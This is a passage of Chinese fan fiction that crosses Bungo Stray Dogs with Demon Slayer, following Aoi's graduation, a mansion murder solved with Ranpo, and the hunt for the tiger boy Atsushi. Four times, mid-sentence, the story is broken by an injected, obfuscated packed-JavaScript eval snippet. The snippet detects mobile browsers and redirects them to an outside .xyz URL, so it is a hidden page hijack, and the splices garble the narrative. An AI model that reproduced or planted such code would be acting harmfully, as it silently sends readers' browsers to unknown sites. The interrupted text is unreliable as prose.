“恭喜恭喜!”源真理子收回礼花,“毕业快乐!还被心仪的大学录取了,感觉怎么样?” “感觉挺好的。”薄叶葵冷静地伸手扫开身上的礼花,她手里还拎着一大堆零食,“待会儿要把这些送去给作之助。” 在三年前的那场意外发生后,父亲死亡,母亲离开,本就孤身一人的薄叶葵彻底成为孤儿。 而就在此时,真正的好心人织田作之助提出要收养她。 听到这个消息时薄叶葵很震惊,因为——“虽然您是少年老成,但我们其实没差多少岁吧?” “是这样的。”织田作之助认认真真地点点头,“但你毕竟是未成年人。” 一个手无寸铁的小姑娘。 于是在他的坚持下,薄叶葵的监护人那一栏最终变成了他的名字。 但薄叶葵和这位新任监护人……好像并不是那么熟悉。 龙头战争期间,她被朋友们邀请去了欧洲,在那里度过了一段非常愉快的时光,而当她带着伴手礼回国,监护人身边就多了整整五个孩子,五个! “我觉得你应该搬家。”薄叶葵摸摸下巴,“小孩子的心理健康是很重要的,让他们长时间居住在这里不是办法。” 前杀手表示囊中羞涩,两个没钱的人最终仰天长叹,面面相觑。 “织田作不是有一大块金子吗?”第二日的酒吧里,太宰治直指解决办法,“这也算是雇主给的,而且是拯救了雇主后给出的谢礼。” 坂口安吾:“这么一想,确实非常实用。” “织田作会一下子变成我们之间最富有的那个吧?”太宰治把头磕在桌沿上,“怎么没有好心的小姐来给我送金子呢?” “上周在横滨撒钱的人是谁啊?” “哇哦,被指责了呢。”太宰治轻哼一声,“那钱脏脏!” 织田作之助:“……太宰也是小孩子呢。” 少年老成的织田先生,在担任监护人方面确实非常合格,这是薄叶葵的想法。 其次是学校里的继国缘一先生。 小葵甚至屡次觉得他有一种奇异的母性,总之就是和他哥比起来好多啦。 要说哥哥殿黑死牟,作为缘一老师唯一的偶像,本人严厉刻板,在得知她一个暑假的遭遇后,关心人起来也带了一股傲娇,尤其是在说“没有力量就无法反抗”时硬邦邦的语气,让薄叶葵环视打她的金发男。 据说那是中也的哥哥。 咦,哥哥们都是这种……属性吗? 还好她没有哥哥。 在返回学校并被学长们抱着哭了一场后,薄叶葵的生活总算稳定下来。 鬼灭学院并不在横滨,她回去的时间也很少,在经历了几次和监护人两两无言的尴尬后,薄叶葵高中毕业了。 织田作之助也换了新的工作,他从小说家变成了职业侦探,在为武装侦探社工作室还要面对读者们的催更,也算是压力山大。 至于大学毕业后的工作安排…… “要不要也去武装侦探社工作?” “早早安排好会不会有点无聊?”艺术系大学生源真理子问她,“毕竟人生可以多尝试。” “比如?” 然后薄叶葵就被她拉来了一家顶级会所,一口气点了八个男模。 看着朋友豪迈刷卡的模样,小葵倒吸一口气——感觉这金额,可以悬赏她的项上人头。 此时远在西欧,突然收到大额交易提醒的雪野夕:? 在她旁边的源未来下意识看了眼,只看到几个关键字。 “夕,虽然我知道你平时也很豪迈。”她放下酒杯,“但男模一次点这么多是不是应该……” 雪野夕:“……” 源真理子:我带小葵来见见世面,刷自己的卡会被姐姐发现的,拜托你啦夕酱! 雪野夕:你姐姐已经发现了。 源真理子:啊?拜托帮我们糊弄过去! 雪野夕:中原先生也在我这边,他这段时间都在欧洲执行任务。 源真理子:? 源真理子:哇塞,那我们不能输,我再开个香槟塔! 另一边的宴会上,雪野夕如同突发恶疾一样捂住了额头。 雪野夕:感觉我看好的CP就要被你拆散了。 源真理子:什么啊!小葵独美,我能再点十个男模。 雪野夕:哼!你点的男模也挺一般的! 聊天结束,源真理子气鼓鼓地放下手机,跟身边坐立不安的薄叶葵保证:“看到这些人类高质量男性,忘了那个他,爱上新的家……怎么是你!” 跟在侍应生后,正在不紧不慢地摘下面具的太宰治:“Surprise!” “你你你这次又想干嘛!” “两位小姐就这么误会我了,真伤心呢。”太宰治擦擦并不存在的眼泪,“安啦安啦,我是来表达谢意的。” 薄叶葵拍拍源真理子的手,“真理子,你先去隔壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721151|154282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好吗?” “不好!”大小姐死死抱住她,“怎么能把你一个人留在这里跟危险人物独处嘛!” “这个不用担心哦,毕竟我还不想被蛞蝓追杀呢。” “没事的,真理子,作之助都跟我念叨三年‘太宰不是坏孩子’了。” “……织田先生,他的思想真宽广。”被织田作之助信用分说服的源真理子站起来,她其实也看出双方似乎有什么正经事要谈,临走前她还是忍不住嘱咐小葵,“我和男模就在隔壁,有不对劲一定要大喊大叫啊!” 大小姐还十分想瞪一眼某人再走,但最终没敢这么做。 “太宰先生,是为了幸介他们来的吗?”薄叶葵说:“如果是这件事的话,完全用不着谢谢,毕竟我的监护人那一栏写的是作之助。” 前不久她带着五个孩子出去玩时,意外在车上发现了炸弹,当了十八年横滨人的她甚至都没顾得上震惊,就先安排孩子们逃命了。 “炸弹事件,与近日入侵横滨的组织MIMIC有关,如果不是葵小姐,现在恐怕连织田作也……”太宰治意外正经起来,“所以姑且就当是我为了友人而发表的感谢吧。” “以后在横滨,有什么忙我一定会帮的。” “……这算是港口mafia干部的承诺吗?” “不哦。”刚刚正经一秒的人又懒散下来,“人家最近正打算叛逃呢,以后就要成为无业游民啦。” “所以这位小姐,愿意给身无分文的我开香槟塔吗?” “没钱了……”薄叶葵沉思,“那你还怎么帮我,这三年作之助都替你付了好多次酒费啊!” 虽然这家伙是真的富有,但热爱自杀的性格让他本人身上往往没有一分钱。 而现在,叛逃的太宰治即将实现真正的一穷二白。 “这个家里不会迎来第七个被收养的人吧。” 听到这话的太宰治笑得狂锤沙发,“那我岂不是要叫葵小姐大姐姐?” “不要!你成年了!” “我也不要!”太宰治做了个鬼脸,“要是我叫葵小姐姐姐,那小蛞蝓岂不是……啧,不要不要!” 她俩互相嫌弃的声音太大,一直在门外偷听的源真理子终于忍不住冲了进来,然后左看右看。 两个一个是她朋友,不能职责只能无脑站,另一个是大魔王,不敢说。 她最终选择发消息给雪野夕。 源真理子:你说得对,我点的男模是挺一般的。 雪野夕:? 18.第十八章 “送名侦探回去!” 薄叶葵不是很懂,为什么她只是一个转眼,伞下就多了一个穿棕色侦探服饰的男人。 她,一个刚刚大学毕业回到横滨的人,因为自己监护人的意愿,正赶往武装侦探社进行面试。 因为没吃早饭,薄叶葵从街角的点心铺里打包了几份松饼和水馒头,半路上下起了雨,于是她又匆匆去旁边的便利店买了透明雨伞。 “这位先生......”她略显艰涩地吐槽,“您目测在一米六五以上,而我才一米五五,您让我举着伞送您回去,是不是有点......” “哇哦,水馒头,名侦探要吃这个!” 薄叶葵:“......” 遇到可恶的自来熟了! 但对方黑发绿眼,白白净净,头发被压在帽子底下,抢东西的样子娇气又任性。 熟悉的配色,一样的猫咪作风。 当然是选择把他原谅啊! “不可以随便猫塑乱步大人!”江户川乱步叼着一块松饼,居高临下地比了个叉,“也不能拿乱步大人当雪野那家伙的代餐啊!” 尤其是雪野还会非常熟练地告状,每当这时,社长就会一脸严肃地告诉他:“乱步,你对妹妹要包容一点。” 啊啊可恶!他们只是配色一样,自己才不要当哥哥呢! “哎?”薄叶葵完全愣住,“乱步先生认识夕酱?” “咖喱君居然没跟你说过吗?”刚刚理直气壮地吃完松饼的人嘴角还沾着一点罪证,“乱步大人是武装侦探社的名侦探哦。” “因为知道你会来侦探社上班,所以名侦探特意在这里等你噢。” “怎么样怎么样?名侦探是不是比雪野厉害多了!” “夕酱才不会这么幼稚呢。” “哇哦,你根本就不知道她为了争夺社长的宠爱告发了名侦探多少次嘛!” “总之先回去啦,通过入社测试就可以成功入职啦!” “入社测试?那是什么?” “秘密哦。” 眼看着雨有越下越急的趋势,她只能一边艰难地撑着伞,一边努力把伞往某个大龄儿童那边倾斜,但这把伞本来就是单人伞,很快两人就都变成了落汤鸡。 “保护好名侦探的点心!”江户川乱步大声喊道,声音有一半被吞进了雨帘里。 “闭嘴啊!那是我的点心!” “但你为什么这么放心啊。”转头把点心塞进自己怀里,他宁愿歪着身子走路也不愿意过来撑伞,“你就不怕名侦探是坏人吗?” “那我就把伞收起来,让你淋成落汤鸡。”薄叶葵觉得自己身上已经出现了一种名为“平静的死感”的东西。 “再说当坏蛋也是需要实力的,我觉得我能一口气打三个你。” “不可以这么对名侦探!” 两个人,一把伞,一袋点心。 等真到了目的地,最完好的应该就是松饼和水馒头了。 “雨太大会伤害到它们的。”乱步先生一本正经地说:“不如让我啊呜一口,全部吃掉吧!” “......谁还记得那是我的早饭?” “等到进了侦探社会吃到的!” “不信!” 两个人在滂沱大雨里一番鸡同鸭讲,直到一个穿着黑西装,浑身湿透的人打破了这份诡异的和谐。 “不好了!有人死了!” 薄叶葵选择的路是一条人迹稀少的路线,这片区域是横滨的风景区,周边坐落着不少有钱人家的庄园和公馆,而刚刚的西装男人,就是从其中一座公馆中跑出来的。 “我不会是死神体质吧?”薄叶葵喃喃自语,同时掏出手机,想要拨打报警电话。 “不、不能报警!”黑西装扑上来,声音撕心裂肺,“会、会触怒公馆里的妖怪大人的!” 身边刚刚提起兴致的江户川乱步又把即将伸直的身子瘫了回去。 “松饼小姐,反正我们现在一时半会儿也回不去,干脆去这家月见里公馆躲躲雨怎么样?” “......这不太好吧?” “完全不会啊!”名侦探理直气壮地叉腰,“月见里公馆是雪野家的产业,我们作为朋友进去参观也很正常吧?嗯?管家先生?” “是、是。”名叫黑川的管家看上去快要被雨水冲成一团,“原来你们是小姐的朋友啊。” “月见里公馆?好像从没听夕酱提过。”小葵小声咕哝一声。 “毕竟雪野家的产业很多嘛,自从进入横滨以来就一直在扩散呢。” 黑川管家:“......我们是不是应该先关注别的?” “如果您不让我报警的话,恐怕我无法信任您接下来任何一句话。” 虽说霓虹的警官们有时并不是那么灵光,但起码他们会做个见证,而不是像这位管家先生一样,以一些奇妙的理由将过路人牵扯进涉及生命的案件中。 “这种事情交给你来解决怎么样?”江户川乱步打了个哈欠,“通过了的话就算你合格了哦。” “呃,难道不是应该先征求社长的意见?” “没关系啊,名侦探会说服他们的。”青年的眼睛弯弯,像只狡猾的小狐狸。 三个湿漉漉的人依次走进这家黑漆漆的公馆,这里面空旷的吓人,用纯黑玻璃建成的四条甬道尽头各自放了一尊持刀黑武士雕像,威严而沉默。 “很像继国老师们。”薄叶葵评价。 至于那位死去的先生,他正躺在公馆的正中央,浑身蜷缩,还有被火烧过的痕迹,面容已然模糊不清。 “公馆一直有妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726458|154282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪的传闻。”黑川先生站在两人侧后方,像是有点不敢直面那具尸体。 “传说只要主人家大肆使用这里,很快就会有一个人被妖怪使用火来献祭。” “焦尸,死亡时间在三小时以上。”江户川乱步摘下帽子,对死去的先生低头行礼后才将之戴回脑袋上。 他脑后的头发一直不服气地翘着,此时倒是显得有些无精打采。 “发生了这种事,我应该给夕酱打个电话吧?” 不出意料,薄叶葵的举动再一次被黑川先生阻止,他似乎是个笃信鬼神之说的中年男人,一直在颠三倒四地寻求安慰。 据他说,他也是刚刚来到公馆的,因为雪野先生打算在这里开办一场艺术展览,所以他每天都会来这里查看展品,没想到就在明天即将开馆的日子,竟然会发生这种事。 难道他是不想让这件事影响艺术展的正常举行?薄叶葵猜测。 可是黑川先生并不认识他们两个,却冒着滂沱大雨跑出来大喊“出事了”,这又是因为什么? 因为他太害怕了? 薄叶葵打量了下四周的环境,幽深的月见里公馆,走廊尽头的黑武士,还有门外劈里啪啦的雨声......屋内没有一个人说话,仿佛下一刻,真的会有一只妖怪蹦出来,将他们其中一个人进行献祭的死刑。 “我好像看过月见里公馆的卷宗。”江户川乱步摸着下巴开口,“这已经不是第一起案子了。” “是、是的。”黑川身上的水滴不断落下,在玻璃地面上聚起一滩小水洼,微微反射出雨的光亮。 “半年以前,月见里公馆也发生了焚尸案。” “很不巧,第一现场的目击者,也正是您呢,黑川先生。” 他说出这些话时眼神锐利,像是懒洋洋的大猫终于睁开眼睛开始捕猎。 “所以松饼小姐,你有没有怀疑对象?” “......在场就四个人哦,其中有一位还是受害者先生。” “嗯嗯。”江户川乱步捏着水馒头,看着脸色逐渐狰狞的黑川管家。 “所以我只能猜测是您干的了。”薄叶葵很老实地说:“我已经用短信报警了。” “名侦探还有附加题!” “上一起案子的凶手应该不是管家。”小葵抢答,“毕竟刚刚乱步先生说的信息非常准确,想来心里肯定知道谁是凶手。” “而黑川先生现在还没有去坐牢,那他肯定就不是凶手吧。” “干得好啊松饼小姐!”江户川乱步的眼睛亮起来,“果然你是觉得名侦探更厉害一点吧?” 黑川的牙齿咬得咯咯作响:“抱歉,请允许我打断一下,证据呢?” 江户川乱步:“靠你了哦,侦探社新人。” 薄叶葵:“......我吗?” 19.第十九章 薄叶葵没来得及提交证据,公馆的大门就被人粗鲁地敲响了。 来人是个青年,在雨幕中撑着一柄宽大的黑伞,伞下他清瘦的身体又被一身黑色长外套包裹。 孤身一人挑开雨帘持伞而来,有水珠沿着他脸颊两侧的发丝不断滴落。 那两缕头发发尾是和他脸色一样的苍白,这让他看上去像是被雨水冲刷干净耳朵尖的黑兔子。 薄叶葵:……你们留公主切的人,难道都是兔系吗? 在她身边的江户川乱步“噗呲”一声笑出来,随后很快抱紧了手里的零食,好像是害怕有人将它们打落在地一样。 这些毫不掩饰的笑声显然惹恼了敲门的青年。 但他还有别的要务在身,只是冷冷扫一眼武装侦探社的成员就不再追究。 “在下是港口mafia的走狗,芥川龙之介,此次前来是为解决流言。”他冷冰冰地开口,就像正准备把人送上断头台,“武装侦探社的人,这次在下就先放过你们。” 港口mafia……再次听见这个熟悉的名字时,薄叶葵有点感慨,但看着垂耳兔正杀气腾腾地看着黑川管家,她更疑惑——港口mafia什么时候开始捉拿杀人犯了? “笨啦。”江户川乱步在旁边提醒,“很明显,【妖怪公馆】的传言是黑川身后的势力抛出来的,他们想进一步扩张地盘,这点港口mafia是不会允许的,尤其是公馆主人还是自己股东的情况下。” “这次松饼小姐没想明白,扣一分哦,要给乱步大人买点心才能加分!” 而黑川管家看上去则是要慌乱很多,好在他自认为早有准备,比如门口那辆宾利就是他提早停在公馆门前的逃生工具。 看着在雨中模糊成一团的汽车,芥川龙之介发出一声嗤笑,似乎不介意这个亡命之徒再多活一会儿。 在车中紧紧握着方向盘的黑川管家判断着自己开出的路程,下意识地松了口气,在他看来,自己很明显已经逃出生天,只要接下来找个机会回本部报信…… 一道黑光穿透了行驶中的车子,最终将之一劈两半,强大的惯性让两半车身继续向前冲刺,但却向两边散开,黑川甚至来不及惊恐,他计算着速度,想要再过一段路程后弃车而逃,然而下一刻,那无比锋锐的黑光穿透他的肩膀,将他硬生生从半个车厢里扯落,最终回到那个举着黑伞的人面前。 那穿刺他的黑兽正是源自芥川龙之介的外套,黑川仍被吊在半空中,鲜血从他肩膀的贯穿伤中滚落,又被雨幕冲刷干净。 狼狈的他与持伞青年的优雅冷漠咫尺天涯,甚至雨水从伞缘坠落,让他无从判断对方一丝一毫的表情,只能任由心中的恐惧不断发酵。 已经完成任务的芥川龙之介不再停留,转身离去。 行至道路尽头,不远处终于传来黑川断断续续的惨叫声。 除了一辆被切碎的宾利和公馆中央的尸体,现场再也没有了能证明黑川管家存在的东西。 “我们也走吧,回侦探社去,到时候就可以看着窗外的雨吃零食啦!”江户川乱步活动肩膀,抖抖他们唯一一把雨伞,“刚刚葵小姐肯定报警了,那个警长是名侦探的熟人,到时候会来侦探社问细节的。” 而这种无聊的工作他向来都是交给其他社员去做的,嘻嘻。 不愿意撑伞的江户川乱步和一直把伞居高的薄叶葵,再往前走了一段路后终于打到了出租车。 薄叶葵:“侦探社会报销车费吗?”以霓虹的出租车收费价格来看,她坐不了多少次就会完全破产。 江户川乱步:“嗯?可以让名侦探来付钱哦。” 薄叶葵:“你带钱了?” 江户川乱步:“没有呢。” 薄叶葵:“……我就知道!” 似乎有一阵咬牙切齿的声音响起,随后司机不安地询问,“两位,应该是能够支付车费的吧?” 薄叶葵:“能能能!” “你来了?”织田作之助将钢笔扣上,“我还以为你起码会吃过午饭后才到。” 说到这个,连头发都变成一缕一缕的薄叶葵有很多话想说,她一口气跑过去,“作之助,你都不知道!我连早饭都没有吃,就先见到了月见里公馆里的尸体,还有个不知道叫什么名字、长得像垂耳兔的黑衣人‘欻’一下把凶手穿在衣服上带走了!” 就像中华街的穿糖葫芦一样! 武装侦探社女孩子含量不高,因此在织田作之助询问能否让他的养女在此工作时,得到了与谢野晶子为首的女孩子们的举手支持。 而现在,她们正围绕在薄叶葵身边帮她擦脸上身上流下来的水。 薄叶葵的描述生龙活虎,一看就是个活泼的人,这个结论让谷崎直美微微笑起来。 “织田作,你都不知道!我连早饭都没有吃,就先被国木田拉去处理委托,还有个超漂亮的小姐姐、她拒绝了我的殉情!”门口传来一个薄叶葵十分熟悉的声音。 拒绝他的时候比冬日最凛冽的寒风还要冷一万倍! 众人:“……” 好熟悉的话术,太宰治算不算武装侦探社美少女? 他抱怨时捏起来的嗓子甚至比薄叶葵还要夹。 与谢野晶子:“……不行不行,那个做作的家伙不能和真正的女孩子相比啊!” “是这样啊。”故事的中心、当之无愧的主角织田作之助先生十分云淡风轻地整理好桌面,“既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808541|154282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然葵和太宰都没吃饭,那不如一起来吃辣咖喱怎么样?” 太宰治:“如果能加上洗涤剂、碎铁钉这些的话……” 薄叶葵:“如果能加上胃药和乳酸菌这些的话……” 两个人终于面对面看清楚了对方。 四年不见,太宰治从一个缠着绷带的阴郁黑猫变成了脸上没有绷带却仍需要坚持驱魔的奶牛猫,而薄叶葵…… “我没想到,葵小姐的身高居然一厘米都没有长过。”太宰治摸着下巴,给出了自己对熟人重逢后的第一印象,十分诚恳。 “二十二岁、应该也没完全判死刑吧?”被戳到痛处的薄叶葵一百分不愉快,“太宰先生看上去没变强壮多少嘛。” 她已经不是以前的薄叶葵了,现在的体术水平一下子打三个太宰治不带喘气的! “你和太宰这家伙是熟人?”随后进来的金发男人更高,让小葵仰望的动作更上一层楼。 看来乱步先生也是有优点的,她不要和一群身高比自己高太多的人生活在一起啊!因为那样的话每天跟别人讲话时间稍微长一些,就一定会走向得颈椎病的命运。 “好失礼啊葵小姐。”江户川乱步懒洋洋的声音传来,“要先去见过社长才行噢。” 等到薄叶葵见到福泽谕吉……乱步先生是有读心术吗?社长也好高啊,还好他是坐着和她说话的。 面对身高一米五五的小姑娘,福泽谕吉有点不知所措,他面上维持着严肃的神色,心里却在担心自己会不会吓到她。 明显没有,葵小姐看上去很有和严肃武士交流的经验。 观察她露出来的手腕与指节,握刀的痕迹十分明显。 社长放下心来——看来会是和他很合得来的后辈啊。 得到社长桌子上的小点心一枚的薄叶葵走出办公室,收获江户川乱步震惊的眼神,这种不服气的瞪视在她把小点心分给他一半以后才有所减少。 “老虎的事情还没解决完,你这自杀狂魔休想翘班!”另一边,国木田独步先生的大喊声混合着太宰治有气无力的“啊啊啊不行啦我要入水”传来。 织田作之助不知道有了什么新灵感,正伏案奋笔疾书;医务室那边响起可疑的切割声;年纪较小的宫泽贤志埋头干饭;而谷崎兄妹他们两个好像……哎哎哎?好像不是很能播放啊。 薄叶葵:新的工作单位很不错,除了作之助以外还有别的熟人呢。 源真理子:哈?你在横滨的熟人?前男友还是绷带精? 薄叶葵:……我没有前男友啊。 源真理子:你跟那条绷带精在一个地方工作!你去混黑了?! 不、这个结论大小姐是怎么得出来的? 20.第二十章 作为新人,薄叶葵被任命与侦探社为数不多的靠谱人,国木田独步一起行动。 “如果不是太宰治那个混蛋,我也就不会在这里带新人!计划也没完成,啧。”身材高大的男人不满地抱怨,“你看上去成年了?织田先生说你有22岁了。” “当然。”薄叶葵很想展示一下自己的肌肉,但在彼此30厘米的身高差下遗憾败北。 “今天的工作是寻找横滨近日出现的老虎。”看在后辈工作积极的份上,国木田独步有些满意地推推眼镜,“放心,有我在你不会有什么危险……” 如果不是太宰治这个混蛋不知道又跑去哪里入水或者上吊,他也不至于带着新同事满横滨大街小巷地搜寻老虎的踪迹。 薄叶葵对追踪这门技术完全没有涉猎,她觉得自己能分清方向就已经很好了。 话虽如此,在靠谱的同事的带领下,他们还是找到了属于“老虎”的踪迹—— “老虎?居然是真的老虎,报纸上没说动物园里有老虎出逃啊。”小葵摸摸下巴,“国木田君,侦探社的业务居然能广泛到从替老奶奶找猫到替动物园找到老虎吗?” 都是猫科,应该……差别不大吧? 国木田独步嘴角抽了抽,“我没说过老虎是动物园跑出来的。” 那总不能是野生…… “闪开!” 一阵气浪从身边划过,溅起的细小沙石极快地掠过皮肤表面,带起一阵生疼。 但目前并不是在意这点细微疼痛的时候,薄叶葵侧身后退几步,站到国木田独步身边,二人一起注视着小巷尽头那头拥有白色皮毛、紫金相见的眼睛的老虎。 “我数三二一,你快跑。”国木田独步的衣领和袖口上都有刚刚躲避袭击时沾上的灰尘,“待会儿我会用我的异能力【独步吟客】制造出一枚闪光弹……” “来不及的。”薄叶葵从自己衣袖中抽出只有小臂长的短刀,“国木田君,它刚刚的速度,咱俩加起来也跑不过。” “您能直接变一个捕兽笼吗?” “【独步吟客】只能变出与笔记本大小相似的东西……” 说话间,他们两个又跟老虎进行了一次十分惊心动魄的追逐战。 “那您为什么不带一个可折叠8K速写本?!” “什、什么?” 看着薄叶葵好像小鹿一般无害的长相,国木田独步怀疑自己是不是听错了。 她手里的短刀好像说话了,一定是这样的吧! “乒——” 薄叶葵咬紧牙关,小臂肌肉突起,但仅仅是架住老虎的右爪一瞬,腕间就传来拉扯的剧痛。 这份力量,绝不是普通的老虎。 “国木田先生,有能变成动物的异能力者吗?”灵光一闪,小葵做出了一个大胆的猜测,下一刻,虎爪下压—— “!” 惊心动魄的血腥场面并没有到来,反而是在薄叶葵的手臂即将被扎穿的下一秒,老虎像是被吓到一般猛然弹跳起来,仓皇后跃两步,穿过街角如风一般消失了。 它并没有伤害我…… 小葵活动了下手腕,将短刀收回袖口中——不能带长刀出行还是有些太不方便了,即使在打架过程中也难免受到限制。 “你还好吗?”手中的闪光弹变回白纸,国木田独步将它折好往衬衫口袋里塞去,“我们得追上去。” 靠双腿,似乎很难做到。 “我的短刀是中空的。”薄叶葵表示这个问题不用担心,她特意将之完整地抽出来拿在手中展示,“里面装有用于麻痹的药剂。” 她手中的短刀只有小臂长,连刀鞘也十分轻薄甚至半镂空,但只有薄叶葵与将之改造的蝴蝶忍才知道里面究竟装了多少种药物。 在挥刀过程中,其中十几种甚至几十种药剂混合,就会构成复杂的麻醉剂、独一无二。 但看起来那只老虎的抗性很高,说不定在他们找到他之前就被分解了…… 好在忍小姐的麻醉药依旧给力,据她说这来自于近百年前甚至能毒杀鬼的秘方,虽然小葵觉得鬼什么的,应该是传说,但既然都能毒杀鬼,麻醉一下老虎应该没什么问题吧? 追过大街小巷,两人最终停在了鹤见川旁,以及—— “太宰治!你个阴郁腹黑自杀男!” 国木田独步气冲冲地上前拎住某个人的领子摇晃,“刚刚你又不分场合入水是吧……” 凶恶的场面让捞人上来的白发少年瑟缩半步,嗫嚅着说:“那个……我先走了?” “哎呀呀!”被拎着领子脸色发紫的太宰治及时拉住少年的衣袖,“少年,说好了我要请你吃饭啊。” “看,付账的人来了哦。” 接着,来到茶泡饭店中的众人,就眼睁睁地看着名为“中岛敦”的少年一口气吃了整整二十碗。 整整二十碗! 鉴于太宰治说自己的钱包早就消失在滚滚河水中,所以每当中岛敦端起一碗饭,薄叶葵和国木田独步都要倒吸一口凉气查看自己的钱包。 “嗨嗨,只是一点点茶泡饭而已。”不用付钱的太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856445|154282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宰治说着风凉话,“葵酱和国木田君不会连同事的救命恩人也弃之不顾吧?” “你个混蛋,我们是来找……”被薄叶葵拉住袖子的国木田独步一停,在对方的眼神示意下看向中岛敦裸露的右臂。 上面赫然是一道浅浅的红痕。 还有他的白发、金紫色的眼睛。 太宰治“噗呲”一声笑出来:“哎呀,看上去葵酱比国木田君敏锐多了。” 金发青年的额角蹦出两根青筋,还没等他把太宰治按在桌子上打,正在吃着饭的人就“咣当”一声撞在了桌子上,一边发出婴儿般睡眠的呼吸声,一边嘴里还在嚼着茶泡饭。 “呼。”薄叶葵拍拍胸口压低声音,“终于睡过去了,这剂量,大象也该晕了啊!” 还好还好,不枉她趁着中岛敦吃的太起劲,往碗里也倒了点药剂。 太宰治将这一切尽收眼底,也学着她的样子小声调侃,“没想到葵酱这么小气啊,连二十碗茶泡饭都不愿意付费呢~” “你能留下来洗盘子抵债吗?” “啊。”太宰治托腮摆出一副忧郁的模样,“不知道有哪位富婆小姐能替我还债呢,到时候我一定会最深情地向她提出殉情邀请……” 穷鬼薄叶葵跑得飞快,身边的国木田独步拎起中岛敦付完账单,跑得比她还要快。 太宰治:“……” . “哈?”在医务室醒过来的中岛敦满脸痴呆,“呃,我,您是说,我要在侦探社打工还债?” 除了尽职尽责的国木田独步,一时间没人解答他的疑惑。 江户川乱步在对着夕阳观察弹珠;宫泽贤志手里抓着不知道哪里来的小鸡摆弄;谷崎兄妹两个暂时不能播放;织田作之助正在奋笔疾书、时不时还抬头看一眼他,感觉像是在就地取材;太宰治已经冲下楼去邀请咖啡店的女仆小姐殉情;与谢野晶子正在兴奋地跟薄叶葵交流麻醉剂—— “那位蝴蝶忍小姐一定是药剂天才,真想和她一起交流啊!” “那我问问她的意见,到时候把联系方式写给与谢也小姐。” “好啊好啊,叫我晶子就好。” “没问题,晶子。” “哎对了,你给这小子注入了多少麻药?”她在众人隐晦而惊恐的视线中举起了电锯,“唔,完美的身体啊!大量的麻药注入,但几乎是几个呼吸就被分解了,如果用来实验……” “哦呵呵呵……” 老老实实待在原地的中岛敦汗毛直立,不知道为什么,他有一种不详的感觉。